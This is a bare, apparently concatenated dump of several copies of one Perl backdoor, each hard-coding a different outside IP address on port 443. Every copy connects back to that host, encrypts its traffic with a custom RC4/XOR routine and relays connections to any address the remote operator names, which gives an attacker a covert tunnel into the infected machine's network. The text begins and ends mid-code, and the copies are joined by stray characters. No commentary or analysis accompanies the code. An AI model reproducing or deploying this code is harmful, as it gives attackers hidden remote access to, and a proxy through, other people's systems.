$pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.152'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.178'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = 